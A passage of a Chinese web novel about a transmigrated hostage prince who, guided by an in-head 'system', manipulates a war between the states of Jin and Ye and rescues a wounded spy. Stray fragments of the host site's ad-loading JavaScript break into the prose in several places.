他今日召对方进宫,一是敲打对方莫要因为前线之事得意忘形,二是对方既然已经出手正面应对邺军,相当于已经拿出诚意,他自然也要给对方一点恩惠。 于他而言,仅仅只是付出一些财物,并无多少损失,舒明尘可是把自己整个人都搭进去了,这笔交易他从来都是不亏的。 他又想起对方盯着玉石的样子,有如此才能,却又能为金银珠宝折腰。 不过这样才好,有了喜欢的东西,就有了弱点,日后交手,他也不至于毫无办法。 是的,经过这些日子的接触,李淮景清楚意识到,邺国九皇子舒明尘绝非池中之物,以后者的谋略和心计,此番谋划若是能成功,对方登上邺国皇位,只怕会成长为一个可怕的对手。 邺国皇帝真是瞎了眼,把这样一个才华横溢又懂得藏拙的皇子送到晋国。 不过这样对于晋国来说却是一件好事,虽然眼下还需要这位质子进行明面上的“合作”,但是搞点小动作却是不成问题的。 已过而立之年的帝王合了合眼,坐在龙椅上有一搭没一搭地想着。 另一边,已经回府的舒明尘正兴高采烈地跟系统唠嗑:“统统你看,这么多玉,这得值不少钱吧?” 系统也有点亢奋: “舒舒,我把扫描后的图像和资料库中对比了一下,从左边数第一个箱子里最上面那个黄色的是和田黄玉,算是这个箱子里价值最高的;第二个箱子里的那些翡翠手镯,看成色和质地也都不错,还有第三个箱子……” 系统巴拉巴拉说了一堆,舒明尘听得眼睛都直了,这就是中彩票的感觉吗?!他现在有一种农奴翻身把歌唱的感觉! 有句话怎么说来着:莫欺少年穷! 真是没想到,他在这个世界过了四年多紧巴巴的日子,结果最后几个月还能体验一次当富豪的感觉。 既然任务要凉了,舒明尘决定在主系统判定任务失败之前,在这个世界好好奢侈一把。 6. 炮灰质子(6) 朔梧关,原为晋之城池,是晋国除阳谷关外第二重要的城池。一月前被邺军攻占,后战况扭转,邺军又退守至此。 阳谷关的重要性在于其是联通晋国各地的枢纽,一旦攻下阳谷关,邺军就可以长驱直入,甚至直指晋国国都安城。 而朔梧关则是晋国最坚固的城池,它没有阳谷关那么重要的地理位置,但由于晋国境内多为平原,天险河流极少,无法形成天然的屏障。 因此,晋国投入无数人力、物力、财力,在朔梧关修建了堪称晋国境内最坚固的城池,形成人为的屏障。 不过这个号称晋国最坚固的城池如今已经成为邺军对抗晋军的有效倚靠。 按理来说,邺军曾经打到阳谷关,晋国应该慎重待之才对。 然而晋国上下普遍认为,邺国皇室不会任由谢南渝带领的镇北军发展壮大,这场战事也就理所应当地不会持续太久。 镇北军确实是个强劲的对手,但现在的镇北军缺少粮草,连军饷都被皇室克扣。 在这样的情况下,镇北军只能靠从晋国境内收缴的粮草维系,所以一旦战事拉长,镇北军的粮草根本撑不住,战争风向便会向晋国倾斜。 这样的事情在近几十年间已经发生了无数次,镇北军也并不是第一次打到阳谷关,但最后要么是粮草短缺,对方退军;要么是邺国皇室连下好几道旨意,要求其退军。 所以晋国理所当然地认为,只要再拖上几十天,镇北军就会像之前一样退兵。甚至他们可以等到对方粮草消耗殆尽之时予以反击,到时候必能重挫邺军。 这种方法晋军屡试不爽。不过现在这种方法怕是已经不适用了。 身处朔梧关的谢南渝这样想着。 他在这个遍布疮痍的城池高处静立,遥望着远处的天色,像是一座沉默的雕像。 只是他的目光似乎穿透了众多城池,落在了地平面延伸的远处。 还有三天,他心想,这些天的示弱已经让晋国放松了警惕,一个在战场上浸润多年的将军当然要趁这个时机给对手致命一击。 说来那个九皇子,真是有些手段,要不是他提前收到了云容送的情报,指不定真的会着了对方的道。 他对这个素来软弱的皇子并无好感,唯一的印象是舒明尘向邺国皇帝诬告镇北军副将沈诵恩私吞三百万两军饷。 谢南渝是不信副将沈诵恩会贪污军饷的,他相信兄长一定也是这么想的。 沈诵恩曾是父亲的副将,在镇北军中待了几十年,对镇北军的感情只怕比他和兄长还要深。 这样的人怎么会贪污军饷? 当时掌管镇北军的人还是他的兄长,兄长为此殚精竭虑,在朝堂上同那些大臣斡旋了不少时日,才勉强保下了沈伯父的命。 尽管如此,沈诵恩还是被贬为幽州参事,幽州地处邺国西南,地势险恶,沈诵恩在任职一年后,在幽州病逝,时年四十五。 沈诵恩去世后,沈司的母亲本来身体就不好,没过多长时间也跟着去了。沈家其他的人走的走,散的散,偌大的沈家只剩下沈司一人。 所以,兄长才把沈司带到军营。最起码,军营还是在谢家掌管之下的,在这里,可以保证沈司的安全。 是谢家帮助沈司度过了最艰难的时光,谢南渝觉得这是他们应该做的,父亲与沈副将相交多年,如今沈家落难,若是父亲还在,谢南渝相信他也会这么做的。 如今的邺国皇室朝政看似欣欣向荣,实则内里腐烂不堪,他们安享富贵太久,全然忘记了邺国因为繁重的赋税而艰难度日的百姓。 这样的皇室已经没有存在的必要了,之所以现在还没对外公布,只不过是为了麻痹晋国。 快了,就快要结束了,谢南渝敛了敛眉,这场战争后,邺国百姓不会再受外敌侵扰。 谢家一直以来的信念,在不远的将来,将会变成现实。 三日后,邺国军队发起反攻。 之前在晋军手里吃了好几次败仗的镇北军似乎在一夕之间又回到了几十年前所向披靡的状态,不但在接下来的一个月之内收回之前损失的城池,甚至还以迅雷不及掩耳之势攻下了阳谷关。 与此同时,晋国西南、东南方向也遭到了邺军的反扑,晋军奋力抵抗,终是不敌,以致半个月后,晋国南方防线全面坍塌。 面对这种情况,晋国终于意识到此战绝不同于此前任何一场战役,晋国真的有可能亡国! 晋国国君一边召集众臣子商议战事,一边急忙发国书至邺国,向邺国皇帝言明晋邺两国情谊,恳请邺国退兵,晋国此后愿以邺国附属国称之,言辞诚恳,情真意切。 李淮景有野心是一回事,但他同样也知道,在绝对的实力面前,适当的示弱是必要的。 邺国无论如何还有充足的人力和物资,而晋国气候寒冷,不利作物,更何况也比不上邺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 国广阔的疆域。 晋国与邺国目前的差距过大,若过于刚直,只会对晋国不利。 但他并不知道邺国实际已经被谢南淮控制,退兵之事绝无可能,依旧自负地认为退兵之事还有转圜的余地。 狂妄无知,往往会一败涂地。 晋国国都,安城。 舒明尘感觉跟做了过山车一样,前一秒觉得任务要完,彻底摆烂;下一秒就听到男主反攻。 当他还在感慨谢南渝还不至于太菜的时候,对方就一鼓作气攻下了阳谷关,顺便还摧毁了晋国所有防线。 舒明尘:哦豁! 激动的他在脑海中跟系统庆祝了一下,系统简直比他还激动: “嗷嗷舒舒好厉害,根据原剧情,男主在攻下阳谷关后,一个月后就攻破安城了!” 舒明尘觉得主要是男主厉害,他也没帮上什么忙,不过谁不喜欢彩虹屁呢,他瞬间觉得系统跟他简直是绝配。 谁不想做任务的时候有个这么会说话的统子! 虽然心里简直乐开了花,但他面上还是收敛了自己的情绪,作出一副忧心不已的样子。 太和殿,是晋国每日上朝的地方。 李淮景登基之后用铁腕手段整顿了晋国朝堂,这些年来,朝堂上很难出现分歧,不过今日有些特殊,晋国的臣子已经就某个问题吵了近两个时辰了。 李淮景不耐烦地听着下方臣子的争论,面色有些不虞。 其实在战时,特别是在己方不利的情况下,朝堂上的正常大致分为两派——主站和主和。 但对于现在的晋国,用另外几个字概括或许更为妥当——与邺国死战或者迁都向北逃亡。 “启禀陛下,此番邺国军队来势汹汹,不同以往,微臣愚见,还是应当早做迁都之举。” 这是一位主张北迁的臣子。 “微臣有异议,”武将蒙阙愤然出声,“与其苟且偷生,不如背水一战,邺国军队骁勇善战,我们晋国军队也不是任人揉搓的软柿子!” 在国家生死存亡之际,总会有一些人愿意站出来,与自己的国家共存亡。 他们有些是文臣,有些是武将,他们的力量或许很微弱,微弱到几乎不能为他们的国家多争取一分的生机,但他们还是站出来了——站在很多人的对立面。 甚至有时是——贪生怕死的帝王的对立面。 逆光而行,唯心而已。 7. 炮灰质子(7) “质子怎么看?” 帝王突如其来的问句让大殿上突然安静了下来,刚刚吵得不可开交的大臣们好像被按下了暂停键,无数双眼睛落在一个本不该出现在这大殿上的人身上——邺国九皇子,舒明尘。 丞相文止也是这群臣子中的一个。 他自然知晓当下最正确的选择是什么,但是既然陛下想再试探一下这位质子,他当然只有作壁上观的选择。 一群蠢货——没看到今日和陛下最为亲近的文臣几乎都缄默不语,冷眼旁观着众位臣子争吵么? 敌国质子本不该出现在晋国朝堂上,但是事态已经发展到如今的状况,更何况他之前的种种行为已经广为人知,现在的他和晋国就是一根绳上的蚂蚱,晋国战败,他也要死。 所以晋国朝臣对对方上朝这件事的反对声倒是不大。 其实要舒明尘自己说,他和晋国现在不只是一根绳上的蚂蚱,还是一根绳上的秋后的蚂蚱,蹦跶不了多久了。 虽然心里想的是,晋国赶紧灭亡,他好尽快完成任务死遁,但在那之前,他还是要装一装样子的。 思及此,舒明尘对着龙椅上的帝王行了一个标准的礼,随即说道:“在下同意蒙将军的看法。” 蒙阙倒是不意外对方的意见和他一致,虽然之前在承明殿与对方多有摩擦,但他也不得不承认舒明尘确实心有大才。 这样的人,目光长远,眼光毒辣,不会不知道眼下正确的选择。 殊不知他认为有大才的人此时心里想的却是:原剧情里李淮景是在安城被抓的,不能让他北迁! 走原剧情是完成任务最快的途径,舒明尘深以为然。 先前主张北迁的大臣听到他的回答,顿时愤愤道: “质子真是好算计,你自己已是死路一条,自身难保,还想让我们所有人给你拖延时间,真当这满大殿的人是傻子不成?!” 这句话可谓是毫不客气,瞬时大殿所有主张北迁者都对邺国来的九皇子怒目而视。 舒明尘毫不在意,要是眼神能杀人,早在谢南渝率镇北军进攻晋国的时候他就死了,还用得着现在在这跟这些人虚与委蛇? “听这位大人的意思,难道此战我们必败?”他冰凉的视线落在那位气势汹汹的大臣身上,有如实质,对方血气上头的大脑几乎立刻清醒了过来。 顾不得反驳舒明尘,这位方才叫嚣着北迁的官员立刻对着正中央的晋君跪了下去,额间的皮肉与金殿相触,发出令人牙酸的“咚”一声。 “陛下明鉴,臣绝无此意!是这个邺国的皇子信口雌黄,臣对我大晋之心切切,可昭日月啊陛下!” 他跪在殿前,冒着冷汗的额头与地板相接,是极卑微的姿态,袁芾在乞求,乞求掌管一切的陛下原谅他的失言。 上方的帝王并未发话,在这个当口,自然也不会有其他官员为这个口不择言的蠢货求情。 舒明尘则是直接忽略了他,继续刚才的话题,毕竟他可是要完成任务的好员工一枚。 “理由有三点。”他缓缓道。 “第一,安城以北的城池并没有修建完善的防御工事,谢南渝若能带领军队攻破安城,难道就不会继续北上攻破其他城池?到那个时候,晋国可就没有像安城这样坚固的城池了。” “第二,谢南渝率领晋国大军分为三路向晋军发起进攻,却唯独给晋国留了一丝生路,就是怕晋国背水一战,放手一搏。倘若今日我等决定北迁,岂不正中敌人下怀?” “第三,安城目前无论是兵力、粮草都远胜其他城池,一旦迁都,粮草必然减少,对于此时的晋国来说无异于雪上加霜。” 他的声音不大,却掷地有声: “安城有修建完善的防御工事,有充足的粮草和无畏的士兵,而邺国士兵一路征战,不过疲敝之师,大家同心协力、背水一战,未必没有翻盘的可能。” 仿若一块巨石落入水中,每个人心里都掀起了惊涛骇浪。 对啊,安城是晋国目前最坚固的城池,如若安城也丢失了,那么迁都其他城池,又有什么意义? 众人看向舒明尘的眼神顿时有些不同。 舒明尘瞥了眼被震住的众人,骄傲地表示:这算什么,系统给他列了十条,他就挑了三条念出来。 李淮景一一扫过下方面露惊愕之情的大臣,沉声道:“质子的想法与朕不谋而合,作为晋国的皇帝,朕理应同晋国的将士站在一起。” “陛下圣明!”众大臣瞬间呼啦啦跪了一地。 中间站着的舒明尘:…… 那个,他要跪吗?应该不用吧?他又不是晋国的人! 他刚刚上朝的时候就没跪!晋国皇帝不会因为这点小事就要杀了他吧?应该不会吧?他之前也没跪啊! 就在他内心天人交战的时候,周围跪着的大臣已经走光了,而袁?,有侍卫上殿来将其带走,至于他的去处,总归不是宫外。 有一个小太监过来提醒他:“陛下请您移步承明殿。” 回过神来的舒明尘:该不会因为他没跪下就要治他的罪吧!舒明尘心里简直呕的要死,早知道他就跪了,跪一下又不会少块肉! 他忧心忡忡地跟着小太监进了承明殿,进去之后就看见李淮景站在窗前,就那么直直盯着他。 !!!救命!好吓人! 李淮景自然是看见了舒明尘的表情,不过他也没在意,他以为舒明尘是在为目前形势而担忧。 李淮景不是没怀疑过这位质子可能是邺国的卧底,但是对方一举一动他都知道。刚才在大殿上他又试探了一番,如果对方果真是邺国的人,就会支持迁都。 他从没想过迁都,刚刚朝堂上的辩论不过是为了试探这位质子罢了。对于晋国来说,如果不迁都,尚有一线生机;一旦迁都,晋国是真的要亡了。 以这位质子展露出来的才能不会看不出这点,如果对方支持 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 迁都,那么就可以确定他就是邺国的卧底。 不过,刚刚对方的一番言论已经彻底打消了他的怀疑。他监视了舒明尘五年,可以确定这五年内后者从来没和府外的人有过接触,而质子府内都是他的眼线。 而根据最近一年从质子府传来的消息,他可以确定对方并没有向邺国传递消息。 舒明尘并没有在晋国灭亡后自保的手段,他没有后路,如果晋国胜了,他就还有一线生机;倘若晋国灭亡,他自己也会因为叛国之罪被赐死。 舒明尘大概是邺国臣民中唯一一个希望晋国胜利的人。 “安城内有邺国的探子。”不是疑问,而是肯定。 !难道云容被发现了?! 舒明尘眉心一跳,皱着眉说道,“抓到了吗?” “没有,但是邺军在一个月内攻占晋国城池十余座,就算谢南渝带领的镇北军再骁勇善战,没有确切的情报是不可能做到的。”李淮景冷声道。 在原本的剧情云容并没有落在晋国手里,但是原主已经出了意外,剧情的走向已经出现偏移,现在舒明尘不敢百分百相信原剧情。 目前云容还没被抓到,但是情况不容乐观,距离安城被攻破还有一个月,在谢南渝到达安城之前,他得保证云容活着见到谢南渝。 最好的办法就是他参与进卧底排查中,这样才能得到确切的消息。舒明尘敛眉思索。 但是晋国皇帝向来多疑,他提出要参与,对方难保不会怀疑他是卧底,万一在任务完成前把他咔嚓了怎么办?可是他要是不这么干,云容死了,任务也是要完。 伸头是一刀,缩头也是一刀。 不管了,就算他在任务完成前死了,只要云容能活着见到谢南渝,男主就能拿下晋国。 没有他,男主就不会受伤,任务也算完成,不过提前死亡会扣一半积分,算了,有积分总比没有好。 舒明尘打定主意对晋帝说道:“陛下,在下希望能够参与这个行动。” 他语气顿了顿,又继续说道,“如果我们能从那个人嘴里得到其与邺军的交换情报的方式,这对我们来说将是一个决定性胜利。” 李淮景几乎在一瞬间就明白了他的意思:谢南渝依靠得到的情报连破十座城池,如果,他这次得到的情报是错误的呢?到时候,战场上的局势会发生逆转。 他没有多犹豫就同意了舒明尘的要求,不过在对方退下前给了他一块令牌,并补充道: “在无法生擒的情况下,直接就地格杀。就算对方逃出安城,也不能让他活着见到谢南渝!” 舒明尘得到的令牌,是出城的令牌。 持有令牌者,可随意出城。反之,若是没有令牌,就算官职再高,也不可出城。 非常时期,就要用非常手段。李淮景深谙此理。 他并不怕舒明尘私自逃出安城,旁人逃出安城或许还有一丝生机,而舒明尘逃出去,只有死路一条。 8. 炮灰质子(8) 自古以来,每个国家都曾深入研究过刑罚之事,在保证俘虏性命的前提下让其经受莫大的痛苦,以便能够得到有关敌方的情报,并以此在战场上抢占先机。 论战力,晋国是比不上邺国的,但晋国能凭借足够折磨人的手段从邺国俘虏中得到关键性的情报,再加上邺国皇室的软弱,这就是晋邺两国在战场上胜负能五五开的原因。 任何一个落入晋国手里的邺国俘虏都得被扒掉一层皮,不死基本上也废了。 舒明尘在这个世界待了都要五年了,这点常识他还是知道的。 他其实还是不太相信云容会被晋国抓住,毕竟原剧情里没有这事,但是有时候意外就发生的这么突然。 晋国天牢,新关入了一个邺国暗探。 舒明尘在府中接到消息时,差点把口中的茶喷出来。 云容被抓住了?! 他忙起身准备去天牢查探一下情况,要是云容被晋国抓住了就麻烦了,他并不知道谢南渝安插在安城的其他暗探,将云容救出天牢几乎是不可能的事。 舒明尘努力强迫自己冷静下来,为今之计还是尽快去天牢确定被抓到的邺国暗探到底是谁,其余的事只能走一步看一步了。 他收拾好心情来到天牢,还未到达目的地,就听见撕心裂肺的喊声,伴随着阵阵凌厉的鞭声。 舒明尘心猛的一沉,大步走上前,就看见一个人被绑在身后的刑架上,一个狱卒在他面前不停挥舞着鞭子。 那个人脸上满是血污,看不清面容,身上也是各种鞭痕,也无法从衣物判断他之前的身份。 舒明尘刚到天牢时还能听见对方的惨叫声,短短一会功夫,那人只能无力地发出一声气音。 陛下命令蒙阙督办此事,然而负责讯问的并不是他,而是一名青年。 舒明尘借着牢狱内昏黄的光线望去,发现对方比他想象中还要年轻。三十左右,大抵是常年身处刑狱的缘故,面色有些惨白,看上去倒不像个手段狠绝的刑官,而是个病弱书生。 或许是察觉到了舒明尘的视线,这位文弱的长官稍稍抬了抬手,那凌厉的的鞭风便立刻停下了。 “见过殿下。”对方躬身道,行礼的姿势很标准,是让人挑不出错的。 舒明尘便也还了一礼。 “在下常笠,有幸结识殿下,是常笠之幸。” 若说舒明尘刚刚只是对对方的面貌感到惊讶,此时则是真的诧异了,不论怎样,他是敌国质子,这种刻意逢迎的话术,是不应该对他说的。 只是一旁的蒙阙神色如常,舒明尘也不好深究其中的原因,何况他还有他自己的目的。 蒙阙看见舒明尘的时候心情并无什么起伏,想来应该是早就知道他参与这次调查了。 舒明尘主动上前与这位蒙将军寒暄了一番,随后才开始问起关于这位邺国暗探的事情。 蒙阙之前看这位邺国的质子百般不顺眼,但或许是舒明尘前几日在朝堂上的发言起了作用,蒙阙这次虽然也没有什么好脸色,但也并没有像之前一样阴阳怪气了。 蒙阙与他交流了一些基本情况,舒明尘也得到了他想要的信息:抓到的邺国暗探并不是云容,这位暗探平日以玉石铺中的小伙计待在安城,云容的情报就是通过他传到邺军的。 这下就麻烦了,虽然云容暂时没被发现,但这个人可能知道云容的样貌,甚至云容目前的身份。 他眉心蹙了蹙,视线望向那个被打的气息奄奄的人,语气略带凝重地问道:“将军有多大把握撬开这个人的嘴?” 舒明尘平日总是穿着一身素色衣衫,今日亦然。 他面带病色,清隽的脸上总是苍白的过分,此时他站在满是脏污的牢房,火光或明或暗地映照在他的脸上,清冷如雪的面容此时也显得有些醴丽。 蒙阙不着痕迹地打量了一下对方,笃定道:“八成。” 常笠素有书面獠牙之称,凡是经过他手的探子就没有撑下来的。 “既如此,那在下就等着将军的好消息了。” 他并不知道,在他与蒙阙交谈的时候,常笠的视线一直若有若无地落在他的身上,眼中有些掩饰不住的兴奋。 舒明尘同蒙阙客套几句之后便不再多言,以身体不适为由离开了天牢。左右他也不是真的要帮对方,他就是关注一下进展,暗地里替云容遮掩一番。 况且他之前一直将分寸把握的很好,过于参与反而还会把自己搭进去。 只是如果那个人把云容供出来,在绝对的情报面前,他再多的遮掩也没用。 舒明尘有些烦躁,蒙阙把那个人看的很牢,他根本就没有办法避开守卫接触到人。 谢南渝还没打到安城,要是这时候云容被晋国抓住了,那任务可真的是要凉了。 关键是现在云容还不能出城,还得等谢南渝到了才能出去,在没有外面接应的情况下,云容现在出城等于死路一条。 ……所以男主到底什么时候才会到安城啊?! 他让系统查了查原剧情,结果系统说,因为原主是炮灰,所以他们现在拿到的剧本比较粗糙,就是,大致的时间线有,但是具体到哪一天,这个就不清楚了…… 系统心虚的都不敢抬头:“舒舒乐观点嘛,万一男主明天就到了呢?” 舒明尘:……你说这话你自己信么? 第一天,谢南渝没出现; 第二天,谢南渝没出现; 第三天,谢南渝还是没出现; 第四天,天牢里那个人扛不住了,把云容供出来了。 这个消息舒明尘不是听蒙阙说的,是舒明尘在外面看着一列列明显多出来的士兵猜出来的。 舒明尘的心里真是日了狗了,之前的剧情好好的,他来了之后就状况百出。 要他说,就这样的世界会不稳定也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是原主的锅,这个世界本身就有问题啊! 舒明尘一边在心里骂骂咧咧,一边在脑海中催促系统赶紧找人。 他这几天几乎都在外面瞎逛,主要就是为了找到云容,云容应该也察觉到现在情况有些不对,最近都没有出现在质子府。 关键是系统没有定位功能,系统只能通过扫描对方的体型和数据库中云容的体型对比,相似度达到90%以上就告诉舒明尘。 舒明尘:真是没想到,云容这体型还挺大众的,他这几天都“不小心”碰了好几个和云容体型相似的了,结果一个都不是。 他也没办法啊,系统只能告诉他,这个人比较像云容,至于是不是,还得他自己确定。 他这几天都“碰瓷”了大概十几个人了。 也幸亏李淮景很信任他,他现在在安城几乎是高度自由,出行毫无限制。 啊啊啊云容到底在哪啊!衣服、马匹、干粮甚至出城的令牌他都准备好了,现在就差人了!他着急的嘴角都要起泡了。 舒明尘现在不光觉得他的嘴角要起泡,而且还感觉他脚底板也要磨出泡了,他现在脚底板巨疼,堪比小美人鱼双腿走在地面上的感觉。 小美人鱼至少还见到王子了呢,他呢,连云容的影子都没看到!他简直抓狂。 “舒舒舒舒,那边,就那个小茶馆,往前走,转过去那个角落里有一个……” 系统现在都不直接说是云容了,经过这么多次失败的经历,系统主动把一开始“云容在那”换成“这有一个,那也有一个”。 舒明尘感觉他现在整个人都要裂开了,但他现在也没别的办法,只能认命地向系统给出的地点走去。 话说这地方真隐蔽啊,要不是系统跟他说这有个人,靠他自己是看不见的。当然系统也没有透视眼,系统能看到的画面是以舒明尘为中心360度全方面的,相当于电子眼。 舒明尘心里已经做好了再一次社死的准备了,然后,在对方抬头的那一刻,他就听见脑海中系统兴奋的声音:“舒舒,这个真的是云容!” 现在他对面的人确实是云容,他之前碰到的人,都是在他跟对方说过话之后,对方才抬头看他。但云容显然是认识他的,他还没开口,就听见云容嘶哑的嗓音:“殿下?” 云容现在很狼狈,他身上的衣服已经脏的不成样子,殷红的血迹透过粗糙的布料渗透出来,他虚弱地靠在墙上,长期的饥饿和疼痛让他的意识都有些恍惚。 云容靠在昏暗的角落,费力地睁眼想看清面前的人,他能感觉到自己的身体好像已经到了极限,身体已经疲惫疼痛到了极点,然而求生的本能强迫着他保持着仅剩的清醒。 是幻觉吗? 发热的脑袋昏昏沉沉,超负荷运转的身体在强迫他沉睡,可他不能睡,晋国的士兵到处都在找他,安城已经变成了危机四伏的战场,可他还想活着,他得——活着。 9. 炮灰质子(9) 舒明尘看着面前显然身受重伤的云容,眉心都拧在了一起。 他并不知道原剧情里云容是怎么逃出安城的,但以现在对方的情况显然不太可能办到。 舒明尘心里简直泪流满面,他辛辛苦苦照顾了云容五年,就是想着让云容平平安安地见到谢南渝,结果现在谢南渝还没到,云容就要挂了。 幸亏他当初以为男主彻底扶不起来了,在安城买了好几处房产,现在正好派上用场。 就是现在全城戒严,得谨慎些,找个马车吧。 马车找到了,就是,怎么把云容弄上去啊,他这具身体挺费的,刚刚他试了一下,拖几步还行,要是把对方弄进马车里,几乎是天方夜谭啊…… 幸亏云容还有点警惕性,被舒明尘这么一折腾,硬是凭着强大的意志力醒了过来。 云容看着眼前这个把自己从头裹到脚连一根头发都没漏出来的人面露警惕,直到对方好像意识到他醒了,对他指了指马车。 云容顺势一看,眼中闪过一丝诧异:所以,这个人在帮他。也对,如果对方有恶意的话,他早就被抓住了。 想通这点后,他干脆利落地上了马车,他现在的处境很糟,除了被晋国抓住外,不会更糟了。 舒明尘为自己的机智点了赞,幸亏他之前买了个黑斗篷,还买了个蒙面的黑巾,斗篷一带,黑巾一蒙,再加上斗篷上能遮住他半张脸的帽子,就算是云容也认不出来。 更别说,他还戴了手套。 耶! 之前险些被云容认出来的时候,舒明尘就意识到,不能让云容以为是自己救的他。 他觉得云容落得这步田地是因为之前他的所作所为偏移了原本的剧情,导致之后的剧情也产生了偏移。 他怕啊,他怕剧情最后会偏移到谢南渝攻打安城失败,可他现在唯一能做的就是努力把剧情掰回来,把云容平平安安地送到男主身边。 最后这句话有点怪,他咂摸了一下嘴,算了,不重要,云容活着最重要。 舒明尘挥舞着马鞭把马车带到他之前买的小院子,然后撩开马车的帘子,摆手示意云容下来。后者顺从地跟着他下了马车,顺便还把马车上的一堆药拿了下来。 这药是舒明尘在买马车的时候顺手让马行的人买的。 显然这些药是为云容准备的,他随手拿了一包就准备去煎,却被对方劈手夺了过来。 云容疑惑地望向对方,这药不是给他的? 不过舒明尘斗篷上的帽子过大,他根本没看清云容的表情,他从怀里拿出金疮药给云容,又指了指云容身上的血。 这金疮药还是晋国皇帝给他的,药效应该不错。 见云容乖乖去一边处理伤口,舒明尘拆开药包准备把药材挑出来。 他不敢明目张胆地要治疗外伤的药,只能说个别的病症让伙计去帮他拿。 因此他现在手里的药不能直接煎,还得让系统帮他辨别一下,挑出需要的部分药材。 药包被摊开整整齐齐地摆到桌子上,整个屋子瞬间弥漫着一股清苦的味道。 舒明尘听着系统的声音将需要的药材挑出来放道一旁,还调整了一下每种药材的用量,毕竟同一种药材在治疗不同病时用量可能不一样。 云容一边给自己的伤口上药,一边用余光注意着那个黑衣人的动作。 他自己其实有药,在晋国卧底了这么多年,他不可能一点准备都没有,就算今天他没有被这个人救,他自己也有去处。 只是他能看出来对方拿出来的药比他手里的好很多,在这种情况下,有脑子的人都知道选哪个。 药倒在伤口上的疼痛让云容的注意力短暂地回到了自己身上,疼痛可以让他的意识保持清醒,于是,他继续面不改色地把药倒在伤口上。 ……舒明尘刚配完药就看见了云容这“自残”的一幕,他整个人都震撼了:云容真是个狠人啊! 云容的身体上都是刀伤,倒是不深,就是一直在流血,背上也有。舒明尘想了想,还是从怀里拿出一瓶药准备给云容处理一下背上的伤口。 云容看着对方拿着药向他走来,又指了指他的背,对方想给他的背上药,云容点了点头,毕竟他自己上药确实不太方便。 把后背留给一个陌生人真的是一个很荒谬的决定,回过神来的云容有些懊恼。他不清楚自己当时怎么就答应了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他现在感觉挺糟的,但是好像,也没有很糟糕。 他感觉到被一股苦涩的药味包裹,背上的疼痛还在持续地提醒他发生了什么,他清醒的大脑又开始变得昏沉,对方给他上药的手法太温和了,他一直靠疼痛保持的清醒好像要消失了。 云容这几天精神高度紧绷,现在猛的一放松让他整个人都昏昏欲睡,他努力抵抗着困意,最终还是睡了过去。 舒明尘上完药就发现云容睡着了,对方眼下浮现着淡淡的青黑色,整张脸因为疼痛变得有些惨白,毫无血色的唇也抿得紧紧的。看得出这几天过得很惨了。 他叹了口气,拿过一旁的白布把云容身上的伤口包扎了一下,这是古代世界,没有纱布,用的都是这种细布。 虽然比不上现代世界里的纱布,不过也是有些透气性的,比一般的布好一些。 把云容收拾妥帖之后,舒明尘看了看这个房子,有点头疼。 他当时就是看着这房子挺大才买的,买了之后就没再管过了,现在这里乱七八糟的,他刚刚用来摆药的桌子上都是灰。 难道他现在还要把这个房子再打扫一遍? 舒明尘想了想还是算了,反正等云容伤好一点就走了,出城的令牌他一直贴身带着,本来想着见到云容就把东西给对方的,但他也没想到云容伤成这个样子。 舒明尘之前一直以为主角都是有主角光环的,无论什么困境都能化险为夷。来到这个世界后,他觉得谢南渝作为男主确实混得有点惨。 作为男主竟然被原主这个小炮灰重伤了,而且现在给他送情报的一把手云容都差点挂了,舒明尘感叹这个世界对谢南渝这个主角真不友好。 舒明尘不知道的是,原剧情里,晋国确实没抓到云容,但云容是撑着一口气杀到城外的。 彼时谢南渝率领大军刚刚抵达安城附近,虽然谢南渝给了云容及时的支援与治疗,但最后云容因为伤势过重,不治而亡,云容死前将亲手绘制的安城边防图交给了谢南渝。 谢南渝也凭借着云容给的地图最后成功攻下安城,安城被攻下后,晋国剩下的就是虾兵蟹将,之后谢南渝不费吹灰之力就完成了中原地区的统一。 10. 炮灰质子(10) 云容做了个梦,他梦见自己不能动了。梦境里他用尽全身的力气,身体却丝毫未动,他很恐慌,这种无能为力的窒息感几乎将他淹没。 时间一长,他感觉自己的呼吸真的变得有点困难,他猛的提了一口气,下一秒,他睁开了眼睛。 眼前是一片漆黑,云容还以为是在梦境中,手刚一动,就感觉好像有什么东西束缚住了他。 他全力一挣,天光大亮,他这才看清了束缚住他的东西是什么——被子。 关键还是两层被子!怪不得他在梦里动都动不了,结合之前的窒息感,他不会被两层被子蒙住头了吧… 有那么一瞬间,云容都以为对方是想用这种方式杀了他。 舒明尘看见云容醒过来之后难看的脸色,偷偷在脑海中问系统:“他怎么了?做噩梦了?” 不至于吧?云容好歹是镇北军里出来的,胆子这么小?救命,云容支棱起来啊,他可是自己完成任务的希望—— 舒明尘丝毫不知道他差点把他自己完成任务的希望捂死。 系统也很迷茫,它觉得人类的有些行为好复杂,但它还是给出了自己的见解:“他是不是在梦游啊——” 哦,对哦!梦游中的人好像就是在这样,看起来和醒着的没什么两样,但其实意识还是昏沉的。 “那现在怎么办?我听说不能把这种人叫醒?”舒明尘很懵逼,他第一次遇见梦游的人,根本不知道怎么办。 系统查了查资料回道:“嗯…如果能让他躺回去继续睡是最好的方法,如果不行……” 系统话还没说完,舒明尘就听见云容对他好像说了什么,但他没听清,云容的声音和系统的叠在一起了,他下意识地回复了一句:“嗯?” 回过神来的舒明尘:淦! 不过他因为半天没说话嗓子有些沙哑,云容应该没听出来吧? 舒明尘忙不迭地抬头去看对方的表情,发现对方神色如常,心里舒了口气:还好还好,没翻车。 云容确实没听出来,他在床上坐了一会就缓过来了,然后他就发现这个黑衣人的身体一直朝着他的方向,也没什么动作,他就试着跟对方道了声谢。 他听到了对方的声音,有些沙哑,但也能听出这是个青年的声音。看来对方之前是在,走神? 云容脸上神色不变,把刚才的道谢的话又重复了一遍。 对方冲他点了点头,又走过来摸了摸他的头,然后云容看见对方的动作顿了顿,对方手上还带着手套,这样是摸不到他额头的温度的。 云容以为对方意识到这点后,就会把手套摘下来。但是最终,对方也没有摘下手套,只是站着床旁边盯着他看了一会。 